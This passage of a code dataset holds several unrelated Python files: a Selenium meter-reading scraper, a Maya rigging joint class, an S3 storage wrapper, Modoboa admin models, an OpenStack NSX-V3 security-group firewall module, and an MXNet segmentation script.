count_word(document)\n","sub_path":"files_and_exceptions/exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"456194922","text":"import asyncio\nfrom selenium import webdriver\nimport selenium\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom bs4 import BeautifulSoup as BS\nimport sqlite3\nfrom xlsxwriter import Workbook\nfrom constants import *\nimport logging\nimport time\n\n\ndef db_connect():\n con = sqlite3.connect('ReadingsV1onAPP.db')\n return con\n\n\ndef scrape(servicelist, pword, month, year):\n \" webdriver created herewith \"\n options = Options()\n options.headless = True\n binary = FirefoxBinary(\"C:/Program Files/Mozilla Firefox/firefox.exe\")\n driver = webdriver.Firefox(options=options, firefox_binary=binary)\n batch = [servicelist[i:i + 15] for i in range(0, len(servicelist), 15)]\n for row in range(len(batch)):\n tab = 0\n for ID in batch[row]:\n driver.execute_script(\"window.open('about:blank', 'tab{}');\".format(tab))\n driver.switch_to.window(\"tab{}\".format(tab))\n get_values(driver, url, ID, pword, month, year)\n tab += 1\n driver.quit()\n return 'download completed, check !!'\n\n\ndef get_values(driver, url, ID, pword, month, year):\n \"Scaping logic \"\n try:\n browser = driver.get(url)\n login = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"mat-input-0\")))\n login.send_keys(ID)\n password = driver.find_element_by_id(\"mat-input-1\")\n password.send_keys(pword)\n submit = driver.find_element_by_css_selector(\".mat-raised-button\").click()\n try:\n reading = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, \".mat-list-item:nth-child(2) span:nth-child(1)\")))\n reading.click()\n menu_selector = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"#mat-select-1 .mat-select-arrow\"))).click()\n element = driver.find_element_by_css_selector(\".ng-trigger-transformPanel\")\n actions = ActionChains(driver)\n actions.move_to_element(element).perform()\n select_month = driver.find_element_by_css_selector(month_dict.get(month)).click()\n\n enter_year = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"mat-input-5\")))\n enter_year.clear()\n enter_year.send_keys(year)\n try:\n enter_button = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, \".primary > .mat-button-wrapper\"))).click()\n\n fetch_results = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, \".mr-1 > .mat-button-wrapper\"))).click()\n soup = BS(driver.page_source, \"lxml\")\n html = soup.prettify()\n status = \"Successfully extracted the values for {}\".format(ID)\n extract_values(ID, html, db_connect(), month, year, status)\n\n logout_menu = driver.find_element_by_css_selector(\".ml-xs .mat-icon\").click()\n logout = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR,\n \".mat-menu-item:nth-child(5) > .mat-menu-ripple\")))\n logout.click()\n # driver.quit()\n\n except selenium.common.exceptions.TimeoutException as e:\n status = \"Readings are not found for {}.\".format(ID)\n extract_values(ID, None, db_connect(), month, year, status)\n\n # driver.close()\n\n except selenium.common.exceptions.TimeoutException as e:\n status = \"consumer {} not found.\".format(ID)\n extract_values(ID, None, db_connect(), month, year, status)\n results\n\n except (selenium.common.exceptions.WebDriverException, selenium.common.exceptions.TimeoutException) as e:\n status = \"Check your network settings\"\n driver.quit()\n\n extract_values(ID, None, db_connect(), month, year, status)\n\n\ndef extract_values(ID, html, con, month, year, status):\n \"processing the scrapped values\"\n final = []\n CID = ID\n tablename = month + str(year)\n if html:\n final.append(ID)\n soup = BS(html, \"html.parser\")\n tab = soup.find(\"ngx-datatable\")\n headers = tab.find_all(\"span\")\n t_list = []\n f_list = []\n for i in headers:\n t_list.append(i.text.strip())\n for i in t_list:\n if i not in f_list and i != \"\":\n f_list.append(i)\n val = tab.find_all(\"datatable-body-cell\")\n val_list = []\n for i in val:\n val_list.append(i.text.strip())\n results = [val_list[i:i + 9] for i in range(0, len(val_list), 9)]\n imp = [val[4] for val in results]\n exp = [val[8] for val in results]\n dif = [float(exp[i]) - float(imp[i]) for i in range(len(imp))]\n final.append(imp + exp + dif)\n timestr = time.asctime()\n logging.info('{}:Data fetched values for {}'.format(timestr, ID))\n cursor = con.cursor()\n create_table = \"\"\"CREATE TABLE IF NOT EXISTS {} (ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, consumer TEXT, Connection TEXT, ImportUnits REAL, ExportUnits REAL, DifUnits REAL)\"\"\".format(tablename)\n cursor.execute(create_table)\n for item in results:\n differnce = float(item[8]) - float(item[4])\n insert_values = \"\"\"INSERT INTO {} (consumer, Connection, ImportUnits, ExportUnits, DifUnits) VALUES(?, ?, ?, ?, ?)\"\"\".format(tablename)\n cursor.execute(insert_values, (CID, item[0], float(item[4]), float(item[8]), differnce))\n logging.info('{}:values updated into database for {}'.format(timestr, CID))\n con.commit()\n\n else:\n timestr = time.asctime()\n logging.info(status)\n with open('failed summary.txt', 'a+') as file:\n file.write(\"{} failed to get values\\n\".format(CID))\n file.close()\n\n\ndef main(servicelist, pword, month, year):\n \"tasks created\"\n results = scrape(servicelist, pword, month, year)\n return results\n timestr = time.asctime()\n logging.info('{} Batch download is completed'.format(timestr))\n","sub_path":"batch_extractor.py","file_name":"batch_extractor.py","file_ext":"py","file_size_in_byte":6496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"119494745","text":"'''\nSuper Joint class\n'''\n\n## MAYA MODULES ##\nimport maya.cmds as mc\n\n## CUSTOM MODULES ##\nfrom ..utils import overrides\n\n\nclass JointFn():\n \"\"\"\n main joint class used throughout\n @param side: (str), specify side for joint valid sides (c,l,r)\n @param name: (str), main name for created joint\n @param type: (str), type of joint to create valid types (jnt,bnd,env)\n type='jnt' : generic joint for rig functionality\n type='bnd' : any joint that is skinned anything but geometry\n type='env' : joints that will be driving geometry via skin clusters\n \"\"\"\n\n def __init__(self,\n node\n ):\n\n if mc.nodeType(node) != 'joint':\n mc.error('Given node is not of type joint')\n\n self.jnt = node\n\n def getJntChain(self):\n # returns list of child joints\n if not mc.objExists(self.jnt):\n return None\n\n chain = [jnt for jnt in mc.listRelatives(\n self.jnt, type='joint', c=1, ad=1)]\n chain.insert(0, self.jnt)\n\n return chain\n\n def _unparentChild(self, obj):\n children = mc.listRelatives(obj, c=1, pa=1) or []\n return [mc.parent(child, w=1)[0] for child in children]\n\n def _reparentChild(self, *args):\n for child in args[1]:\n mc.parent(child, args[0])\n\n def _orientPlanar(self, upVector=(0, 1, 0)):\n # orient the middle joint of a 3 joint chain too its plane\n chain = self.getJntChain()\n chain.sort()\n\n for jnt in chain:\n par = mc.listRelatives(jnt, p=1, pa=1)\n if not par:\n continue\n\n children = self._unparentChild(jnt)\n if not children:\n continue\n\n mc.delete(mc.aimConstraint(children[0], jnt,\n aim=(1, 0, 0), u=upVector,\n wut='object', wuo=par[0]))\n\n mc.makeIdentity(jnt, a=1)\n self._reparentChild(jnt, children)\n\n def _alignToChild(self):\n # orients the parent of a joint to its child if no parent is found\n chain = self.getJntChain()\n for jnt in chain:\n children = self._unparentChild(jnt)\n if children:\n mc.delete(mc.aimConstraint(children[0], jnt,\n aim=(1, 0, 0), u=(0, 1, 0), wu=(0, 1, 0),\n wut='objectrotation', wuo=children[0]))\n\n mc.makeIdentity(jnt, a=1)\n self._reparentChild(jnt, children)\n\n def _zeroEndOrients(self):\n # orients the end joint too its parent joint\n chain = self.getJntChain()\n chain.sort()\n\n if chain:\n mc.setAttr('{0}.jointOrient'.format(chain[-1]), 0, 0, 0)\n\n def orientChain(self, upVector=(0, 1, 0)):\n self._orientPlanar(upVector=upVector)\n self._zeroEndOrients()\n self._alignToChild()\n\n def stripName(self):\n # returns split name of joint [prefix, name, suffix]\n if not mc.objExists(self.jnt):\n return None\n\n return self.jnt.split('_')\n\n def addEnv(self):\n mc.select(cl=1)\n # adds env joint parented under self.jnt\n name = self.jnt.replace('jnt', 'env')\n\n children = self._unparentChild(self.jnt)\n\n self.env = mc.duplicate(self.jnt, n=name)[0]\n mc.parent(self.env, self.jnt)\n mc.setAttr('{0}.radius'.format(self.env), 2)\n overrides.override(self.env, col='env')\n\n self._reparentChild(self.jnt, children)\n mc.select(self.jnt)\n\n def addBnd(self):\n mc.select(cl=1)\n # adds bnd joint parented under self.jnt\n name = self.jnt.replace('jnt', 'bnd')\n\n children = self._unparentChild(self.jnt)\n\n self.env = mc.duplicate(self.jnt, n=name)[0]\n mc.parent(self.env, self.jnt)\n mc.setAttr('{0}.radius'.format(self.env), 1.5)\n overrides.override(self.env, col='bnd')\n\n self._reparentChild(self.jnt, children)\n mc.select(self.jnt)\n","sub_path":"functionSets/jntFn.py","file_name":"jntFn.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"465222252","text":"from os import truncate\nfrom typing import List, Optional\nimport boto3\nfrom botocore.client import Config\nimport json\n\n\nclass StorageService:\n \"\"\"S3操作クラス\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"コンストラクタ\n \"\"\"\n self.client = boto3.client(\n \"s3\", config=Config(signature_version='s3v4'),)\n self.resource = boto3.resource(\"s3\")\n\n def get_object(self, bucket: str, key: str) -> bytes:\n \"\"\"S3からのファイル読み込み\n\n Parameters\n ----------\n bucket : str\n バケット名\n key : str\n オブジェクトキー\n\n Returns\n -------\n bytes\n 読み込んだファイルのバイナリ\n \"\"\"\n obj = self.client.get_object(Bucket=bucket, Key=key)\n return obj['Body'].read()\n\n def put_text_object(self, bucket: str, key: str, data_str: str) -> None:\n \"\"\"ファイルアップロード(テキストデータ)\n\n Parameters\n ----------\n bucket : str\n バケット名\n key : str\n オブジェクトキー\n data_str : str\n テキストデータ\n \"\"\"\n obj = self.resource.Object(bucket, key)\n obj.put(Body=data_str)\n\n def list_object_keys(self, bucket: str, prefix: str = \"\") -> List[str]:\n \"\"\"S3のオブジェクトキーを一覧する\n\n Parameters\n ----------\n bucket : str\n バケット\n prefix : str, optional\n プレフィックス, by default \"\"\n\n Returns\n -------\n List[str]\n オブジェクトキー一覧\n \"\"\"\n paginator = self.client.get_paginator('list_objects_v2')\n page_iterator = paginator.paginate(Bucket=bucket, Prefix=prefix)\n\n key_list: List[str] = []\n for page in page_iterator:\n # 1件もない場合はContentというKeyが無い\n if \"Contents\" in page:\n key_list += [\n obj['Key']\n for obj\n in page[\"Contents\"]\n # ディレクトリを表すオブジェクトがあるので、それを除外\n if obj['Key'].rfind(\"/\") != len(obj['Key']) - 1\n ]\n return key_list\n","sub_path":"src/services/storage_service.py","file_name":"storage_service.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"92045885","text":"from django.db import models\nfrom modoboa.lib import events\nfrom modoboa.lib.permissions import (\n grant_access_to_object, ungrant_access_to_object\n)\n\n\nclass ObjectDates(models.Model):\n\n \"\"\"Dates recording for admin objects\n\n This table keeps creation and last modification dates for Domains,\n domain aliases, mailboxes and aliases objects.\n \"\"\"\n creation = models.DateTimeField(auto_now_add=True)\n last_modification = models.DateTimeField(auto_now=True)\n\n class Meta:\n app_label = \"modoboa_admin\"\n db_table = \"admin_objectdates\"\n\n @staticmethod\n def set_for_object(obj):\n \"\"\"Initialize or update dates for a given object.\n\n :param obj: an admin object (Domain, Mailbox, etc)\n \"\"\"\n try:\n dates = getattr(obj, \"dates\")\n except ObjectDates.DoesNotExist:\n dates = ObjectDates()\n dates.save()\n obj.dates = dates\n\n\nclass AdminObject(models.Model):\n\n \"\"\"Abstract model to support dates\n\n Inherit from this model to automatically add the \"dates\" feature\n to another model. It defines the appropriate field and handles\n saves.\n \"\"\"\n dates = models.ForeignKey(ObjectDates)\n _objectname = None\n\n class Meta:\n abstract = True\n\n @property\n def creation(self):\n return self.dates.creation\n\n @property\n def last_modification(self):\n return self.dates.last_modification\n\n @property\n def objectname(self):\n if self._objectname is None:\n return self.__class__.__name__\n return self._objectname\n\n def post_create(self, creator):\n grant_access_to_object(creator, self, is_owner=True)\n events.raiseEvent(\"%sCreated\" % self.objectname, creator, self)\n\n def save(self, *args, **kwargs):\n ObjectDates.set_for_object(self)\n if \"creator\" in kwargs:\n creator = kwargs[\"creator\"]\n del kwargs[\"creator\"]\n else:\n creator = None\n super(AdminObject, self).save(*args, **kwargs)\n if creator is not None:\n self.post_create(creator)\n\n def delete(self):\n events.raiseEvent(\"%sDeleted\" % self.objectname, self)\n ungrant_access_to_object(self)\n super(AdminObject, self).delete()\n","sub_path":"modoboa_admin/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"212904939","text":"# Copyright 2015 OpenStack Foundation\n\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nNSX-V3 Plugin security integration module\n\"\"\"\n\nimport uuid\n\nfrom neutron_lib import constants\nfrom oslo_config import cfg\nfrom oslo_log import log\n\nfrom vmware_nsx._i18n import _, _LW\nfrom vmware_nsx.common import exceptions as nsx_exc\nfrom vmware_nsx.common import utils\nfrom vmware_nsx.db import nsx_models\nfrom vmware_nsx.extensions import secgroup_rule_local_ip_prefix\nfrom vmware_nsx.extensions import securitygrouplogging as sg_logging\nfrom vmware_nsx.nsxlib.v3 import dfw_api as firewall\n\n\nLOG = log.getLogger(__name__)\n\nDEFAULT_SECTION = 'OS Default Section for Neutron Security-Groups'\nDEFAULT_SECTION_TAG_NAME = 'neutron_default_dfw_section'\n\n\ndef _get_l4_protocol_name(protocol_number):\n if protocol_number is None:\n return\n protocol_number = constants.IP_PROTOCOL_MAP.get(protocol_number,\n protocol_number)\n protocol_number = int(protocol_number)\n if protocol_number == 6:\n return firewall.TCP\n elif protocol_number == 17:\n return firewall.UDP\n elif protocol_number == 1:\n return firewall.ICMPV4\n else:\n return protocol_number\n\n\ndef _get_direction(sg_rule):\n return firewall.IN if sg_rule['direction'] == 'ingress' else firewall.OUT\n\n\ndef _decide_service(sg_rule):\n l4_protocol = _get_l4_protocol_name(sg_rule['protocol'])\n direction = _get_direction(sg_rule)\n\n if l4_protocol in [firewall.TCP, firewall.UDP]:\n # If port_range_min is not specified then we assume all ports are\n # matched, relying on neutron to perform validation.\n source_ports = []\n if sg_rule['port_range_min'] is None:\n destination_ports = []\n elif sg_rule['port_range_min'] != sg_rule['port_range_max']:\n # NSX API requires a non-empty range (e.g - '22-23')\n destination_ports = ['%(port_range_min)s-%(port_range_max)s'\n % sg_rule]\n else:\n destination_ports = ['%(port_range_min)s' % sg_rule]\n\n if direction == firewall.OUT:\n source_ports, destination_ports = destination_ports, []\n\n return firewall.get_nsservice(firewall.L4_PORT_SET_NSSERVICE,\n l4_protocol=l4_protocol,\n source_ports=source_ports,\n destination_ports=destination_ports)\n elif l4_protocol == firewall.ICMPV4:\n return firewall.get_nsservice(firewall.ICMP_TYPE_NSSERVICE,\n protocol=l4_protocol,\n icmp_type=sg_rule['port_range_min'],\n icmp_code=sg_rule['port_range_max'])\n elif l4_protocol is not None:\n return firewall.get_nsservice(firewall.IP_PROTOCOL_NSSERVICE,\n protocol_number=l4_protocol)\n\n\ndef _get_fw_rule_from_sg_rule(sg_rule, nsgroup_id, rmt_nsgroup_id, logged):\n # IPV4 or IPV6\n ip_protocol = sg_rule['ethertype'].upper()\n direction = _get_direction(sg_rule)\n\n if sg_rule.get(secgroup_rule_local_ip_prefix.LOCAL_IP_PREFIX):\n local_ip_prefix = firewall.get_ip_cidr_reference(\n sg_rule[secgroup_rule_local_ip_prefix.LOCAL_IP_PREFIX],\n ip_protocol)\n else:\n local_ip_prefix = None\n\n source = None\n local_group = firewall.get_nsgroup_reference(nsgroup_id)\n if sg_rule['remote_ip_prefix'] is not None:\n source = firewall.get_ip_cidr_reference(sg_rule['remote_ip_prefix'],\n ip_protocol)\n destination = local_ip_prefix or local_group\n else:\n if rmt_nsgroup_id:\n source = firewall.get_nsgroup_reference(rmt_nsgroup_id)\n destination = local_ip_prefix or local_group\n if direction == firewall.OUT:\n source, destination = destination, source\n\n service = _decide_service(sg_rule)\n name = sg_rule['id']\n\n return firewall.get_firewall_rule_dict(name, source,\n destination, direction,\n ip_protocol, service,\n firewall.ALLOW, logged)\n\n\ndef create_firewall_rules(context, section_id, nsgroup_id, logging_enabled,\n security_group_rules):\n\n # 1. translate rules\n # 2. insert in section\n # 3. save mappings\n\n firewall_rules = []\n for sg_rule in security_group_rules:\n remote_nsgroup_id = _get_remote_nsg_mapping(\n context, sg_rule, nsgroup_id)\n\n fw_rule = _get_fw_rule_from_sg_rule(\n sg_rule, nsgroup_id, remote_nsgroup_id, logging_enabled)\n\n firewall_rules.append(fw_rule)\n\n return firewall.add_rules_in_section(firewall_rules, section_id)\n\n\ndef _process_firewall_section_rules_logging_for_update(section_id,\n logging_enabled):\n rules = firewall.get_section_rules(section_id).get('results', [])\n update_rules = False\n for rule in rules:\n if rule['logged'] != logging_enabled:\n rule['logged'] = logging_enabled\n update_rules = True\n return rules if update_rules else None\n\n\ndef set_firewall_rule_logging_for_section(section_id, logging):\n rules = _process_firewall_section_rules_logging_for_update(section_id,\n logging)\n firewall.update_section(section_id, rules=rules)\n\n\ndef update_security_group_on_backend(context, security_group):\n nsgroup_id, section_id = get_sg_mappings(context.session,\n security_group['id'])\n name = get_nsgroup_name(security_group)\n description = security_group['description']\n logging = (cfg.CONF.nsx_v3.log_security_groups_allowed_traffic or\n security_group[sg_logging.LOGGING])\n rules = _process_firewall_section_rules_logging_for_update(section_id,\n logging)\n firewall.update_nsgroup(nsgroup_id, name, description)\n firewall.update_section(section_id, name, description, rules=rules)\n\n\ndef get_nsgroup_name(security_group):\n # NOTE(roeyc): We add the security-group id to the NSGroup name,\n # for usability purposes.\n return '%(name)s - %(id)s' % security_group\n\n\ndef save_sg_rule_mappings(session, firewall_rules):\n # REVISIT(roeyc): This method should take care db access only.\n rules = [(rule['display_name'], rule['id']) for rule in firewall_rules]\n with session.begin(subtransactions=True):\n for neutron_id, nsx_id in rules:\n mapping = nsx_models.NeutronNsxRuleMapping(\n neutron_id=neutron_id, nsx_id=nsx_id)\n session.add(mapping)\n return mapping\n\n\ndef save_sg_mappings(session, sg_id, nsgroup_id, section_id):\n with session.begin(subtransactions=True):\n session.add(\n nsx_models.NeutronNsxFirewallSectionMapping(neutron_id=sg_id,\n nsx_id=section_id))\n session.add(\n nsx_models.NeutronNsxSecurityGroupMapping(neutron_id=sg_id,\n nsx_id=nsgroup_id))\n\n\ndef get_sg_rule_mapping(session, rule_id):\n rule_mapping = session.query(nsx_models.NeutronNsxRuleMapping).filter_by(\n neutron_id=rule_id).one()\n return rule_mapping.nsx_id\n\n\ndef get_sg_mappings(session, sg_id):\n nsgroup_mapping = session.query(nsx_models.NeutronNsxSecurityGroupMapping\n ).filter_by(neutron_id=sg_id).one()\n section_mapping = session.query(nsx_models.NeutronNsxFirewallSectionMapping\n ).filter_by(neutron_id=sg_id).one()\n return nsgroup_mapping.nsx_id, section_mapping.nsx_id\n\n\ndef _get_remote_nsg_mapping(context, sg_rule, nsgroup_id):\n remote_nsgroup_id = None\n remote_group_id = sg_rule.get('remote_group_id')\n # skip unnecessary db access when possible\n if remote_group_id == sg_rule['security_group_id']:\n remote_nsgroup_id = nsgroup_id\n elif remote_group_id:\n remote_nsgroup_id, s = get_sg_mappings(context.session,\n remote_group_id)\n return remote_nsgroup_id\n\n\ndef update_lport_with_security_groups(context, lport_id, original, updated):\n added = set(updated) - set(original)\n removed = set(original) - set(updated)\n for sg_id in added:\n nsgroup_id, s = get_sg_mappings(context.session, sg_id)\n try:\n firewall.add_nsgroup_member(\n nsgroup_id, firewall.LOGICAL_PORT, lport_id)\n except firewall.NSGroupIsFull:\n for sg_id in added:\n nsgroup_id, s = get_sg_mappings(context.session, sg_id)\n # NOTE(roeyc): If the port was not added to the nsgroup yet,\n # then this request will silently fail.\n firewall.remove_nsgroup_member(\n nsgroup_id, firewall.LOGICAL_PORT, lport_id)\n raise nsx_exc.SecurityGroupMaximumCapacityReached(sg_id=sg_id)\n for sg_id in removed:\n nsgroup_id, s = get_sg_mappings(context.session, sg_id)\n firewall.remove_nsgroup_member(\n nsgroup_id, firewall.LOGICAL_PORT, lport_id)\n\n\ndef init_nsgroup_manager_and_default_section_rules():\n section_description = (\"This section is handled by OpenStack to contain \"\n \"default rules on security-groups.\")\n\n nsgroup_manager = NSGroupManager(cfg.CONF.nsx_v3.number_of_nested_groups)\n section_id = _init_default_section(\n DEFAULT_SECTION, section_description,\n nsgroup_manager.nested_groups.values())\n return nsgroup_manager, section_id\n\n\ndef _init_default_section(name, description, nested_groups):\n fw_sections = firewall.list_sections()\n for section in fw_sections:\n if section['display_name'] == name:\n break\n else:\n tags = utils.build_v3_api_version_tag()\n section = firewall.create_empty_section(\n name, description, nested_groups, tags)\n\n block_rule = firewall.get_firewall_rule_dict(\n 'Block All', action=firewall.DROP,\n logged=cfg.CONF.nsx_v3.log_security_groups_blocked_traffic)\n # TODO(roeyc): Add additional rules to allow IPV6 NDP.\n dhcp_client = firewall.get_nsservice(firewall.L4_PORT_SET_NSSERVICE,\n l4_protocol=firewall.UDP,\n source_ports=[67],\n destination_ports=[68])\n dhcp_client_rule_in = firewall.get_firewall_rule_dict(\n 'DHCP Reply', direction=firewall.IN, service=dhcp_client)\n\n dhcp_server = (\n firewall.get_nsservice(firewall.L4_PORT_SET_NSSERVICE,\n l4_protocol=firewall.UDP,\n source_ports=[68],\n destination_ports=[67]))\n dhcp_client_rule_out = firewall.get_firewall_rule_dict(\n 'DHCP Request', direction=firewall.OUT, service=dhcp_server)\n\n firewall.update_section(section['id'],\n name, section['description'],\n applied_tos=nested_groups,\n rules=[dhcp_client_rule_out,\n dhcp_client_rule_in,\n block_rule])\n return section['id']\n\n\nclass NSGroupManager(object):\n \"\"\"\n This class assists with NSX integration for Neutron security-groups,\n Each Neutron security-group is associated with NSX NSGroup object.\n Some specific security policies are the same across all security-groups,\n i.e - Default drop rule, DHCP. In order to bind these rules to all\n NSGroups (security-groups), we create a nested NSGroup (which its members\n are also of type NSGroups) to group the other NSGroups and associate it\n with these rules.\n In practice, one NSGroup (nested) can't contain all the other NSGroups, as\n it has strict size limit. To overcome the limited space challange, we\n create several nested groups instead of just one, and we evenly distribute\n NSGroups (security-groups) between them.\n By using an hashing function on the NSGroup uuid we determine in which\n group it should be added, and when deleting an NSGroup (security-group) we\n use the same procedure to find which nested group it was added.\n \"\"\"\n\n NESTED_GROUP_NAME = 'OS Nested Group'\n NESTED_GROUP_DESCRIPTION = ('OpenStack NSGroup. Do not delete.')\n\n def __init__(self, size):\n self._nested_groups = self._init_nested_groups(size)\n self._size = len(self._nested_groups)\n\n @property\n def size(self):\n return self._size\n\n @property\n def nested_groups(self):\n return self._nested_groups\n\n def _init_nested_groups(self, requested_size):\n # Construct the groups dict -\n # {0: ,.., n-1: }\n size = requested_size\n nested_groups = {\n self._get_nested_group_index_from_name(nsgroup): nsgroup['id']\n for nsgroup in firewall.list_nsgroups()\n if utils.is_internal_resource(nsgroup)}\n\n if nested_groups:\n size = max(requested_size, max(nested_groups) + 1)\n if size > requested_size:\n LOG.warning(_LW(\"Lowering the value of \"\n \"nsx_v3:number_of_nested_groups isn't \"\n \"supported, '%s' nested-groups will be used.\"),\n size)\n\n absent_groups = set(range(size)) - set(nested_groups.keys())\n if absent_groups:\n LOG.warning(\n _LW(\"Found %(num_present)s Nested Groups, \"\n \"creating %(num_absent)s more.\"),\n {'num_present': len(nested_groups),\n 'num_absent': len(absent_groups)})\n for i in absent_groups:\n cont = self._create_nested_group(i)\n nested_groups[i] = cont['id']\n\n return nested_groups\n\n def _get_nested_group_index_from_name(self, nested_group):\n # The name format is \"Nested Group \"\n return int(nested_group['display_name'].split()[-1]) - 1\n\n def _create_nested_group(self, index):\n name_prefix = NSGroupManager.NESTED_GROUP_NAME\n name = '%s %s' % (name_prefix, index + 1)\n description = NSGroupManager.NESTED_GROUP_DESCRIPTION\n tags = utils.build_v3_api_version_tag()\n return firewall.create_nsgroup(name, description, tags)\n\n def _hash_uuid(self, internal_id):\n return hash(uuid.UUID(internal_id))\n\n def _suggest_nested_group(self, internal_id):\n # Suggests a nested group to use, can be iterated to find alternative\n # group in case that previous suggestions did not help.\n\n index = self._hash_uuid(internal_id) % self.size\n yield self.nested_groups[index]\n\n for i in range(1, self.size):\n index = (index + 1) % self.size\n yield self.nested_groups[index]\n\n def add_nsgroup(self, nsgroup_id):\n for group in self._suggest_nested_group(nsgroup_id):\n try:\n LOG.debug(\"Adding NSGroup %s to nested group %s\",\n nsgroup_id, group)\n firewall.add_nsgroup_member(group,\n firewall.NSGROUP,\n nsgroup_id)\n break\n except firewall.NSGroupIsFull:\n LOG.debug(\"Nested group %(group_id)s is full, trying the \"\n \"next group..\", {'group_id': group})\n else:\n raise nsx_exc.NsxPluginException(\n err_msg=_(\"Reached the maximum supported amount of \"\n \"security groups.\"))\n\n def remove_nsgroup(self, nsgroup_id):\n for group in self._suggest_nested_group(nsgroup_id):\n try:\n firewall.remove_nsgroup_member(\n group, firewall.NSGROUP, nsgroup_id, verify=True)\n break\n except firewall.NSGroupMemberNotFound:\n LOG.warning(_LW(\"NSGroup %(nsgroup)s was expected to be found \"\n \"in group %(group_id)s, but wasn't. \"\n \"Looking in the next group..\"),\n {'nsgroup': nsgroup_id, 'group_id': group})\n continue\n else:\n LOG.warning(_LW(\"NSGroup %s was marked for removal, but its \"\n \"reference is missing.\"), nsgroup_id)\n","sub_path":"vmware_nsx/nsxlib/v3/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":17321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"307976021","text":"# pylint: skip-file\nimport numpy as np\nimport mxnet as mx\nimport argparse\nimport datetime\nimport cv2\nimport sys\nimport os\nfrom PIL import Image\nfrom easydict import EasyDict as edict\n\ndef prt(msg):\n ts = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print(\"%s] %s\" % (ts, msg))\n sys.stdout.flush()\n\ndef ch_dev(arg_params, aux_params, ctx):\n new_args = dict()\n new_auxs = dict()\n for k, v in arg_params.items():\n new_args[k] = v.as_in_context(ctx)\n for k, v in aux_params.items():\n new_auxs[k] = v.as_in_context(ctx)\n return new_args, new_auxs\n\ndef getpallete(num_cls):\n # this function is to get the colormap for visualizing the segmentation mask\n n = num_cls\n pallete = [0]*(n*3)\n for j in xrange(0,n):\n lab = j\n pallete[j*3+0] = 0\n pallete[j*3+1] = 0\n pallete[j*3+2] = 0\n i = 0\n while (lab > 0):\n pallete[j*3+0] |= (((lab >> 0) & 1) << (7-i))\n pallete[j*3+1] |= (((lab >> 1) & 1) << (7-i))\n pallete[j*3+2] |= (((lab >> 2) & 1) << (7-i))\n i = i + 1\n lab >>= 3\n return pallete\n\npallete = getpallete(256)\n#img = \"./person_bicycle.jpg\"\n#seg = img.replace(\"jpg\", \"png\")\n\n\ndef get_img(img_path):\n \"\"\"get the (1, 3, h, w) np.array data for the img_path\"\"\"\n mean = np.array([123.68, 116.779, 103.939]) # (R,G,B)\n reshaped_mean = mean.reshape(1, 1, 3)\n img = Image.open(img_path)\n img = np.array(img, dtype=np.float32)\n img = img - reshaped_mean\n #print(img.shape)\n #img = cv2.resize(img, (1280, 1280) )\n img = np.swapaxes(img, 0, 2)\n img = np.swapaxes(img, 1, 2)\n #img = np.expand_dims(img, axis=0)\n return img\n\n\ndef get_label(label_path):\n img = Image.open(label_path)\n img = np.array(img, dtype=np.uint8)\n img = np.swapaxes(img, 0, 2)\n img = np.swapaxes(img, 1, 2)\n return img\n\ndef do_flip(data):\n for i in xrange(data.shape[0]):\n data[i,:,:] = np.fliplr(data[i,:,:])\n\ndef get_mask_prob(data, nets):\n if not isinstance(nets, list):\n nets = [nets]\n\n if len(data.shape)==3:\n data = np.expand_dims(data, axis=0)\n out_prob = None\n for net in nets:\n net.arg_params[\"data\"] = mx.nd.array(data, net.ctx)\n data_shape = net.arg_params[\"data\"].shape\n #print(data_shape)\n label_shape = (1, data_shape[2], data_shape[3])\n net.arg_params[\"softmax_label\"] = mx.nd.empty(label_shape, net.ctx)\n exector = net.sym.bind(net.ctx, net.arg_params,args_grad=None, grad_req=\"null\", aux_states=net.aux_params)\n exector.forward(is_train=False)\n output = exector.outputs[0]\n prob = output.asnumpy()\n #out_img = np.uint8(np.squeeze(prob.argmax(axis=1)))\n _out_prob = np.squeeze(prob)\n if out_prob is None:\n out_prob = _out_prob\n else:\n #print('aaaaaa')\n #print(out_prob[0,300:350,300:350])\n #print('bbbbbb')\n #print(_out_prob[0,300:350,300:350])\n out_prob += _out_prob\n return out_prob\n\ndef prob_to_out(prob):\n out_img = np.uint8(np.squeeze(prob.argmax(axis=0)))\n return out_img\n\ndef get_mask(img_path, cutoff, nets):\n img = get_img(img_path)\n if cutoff is None or 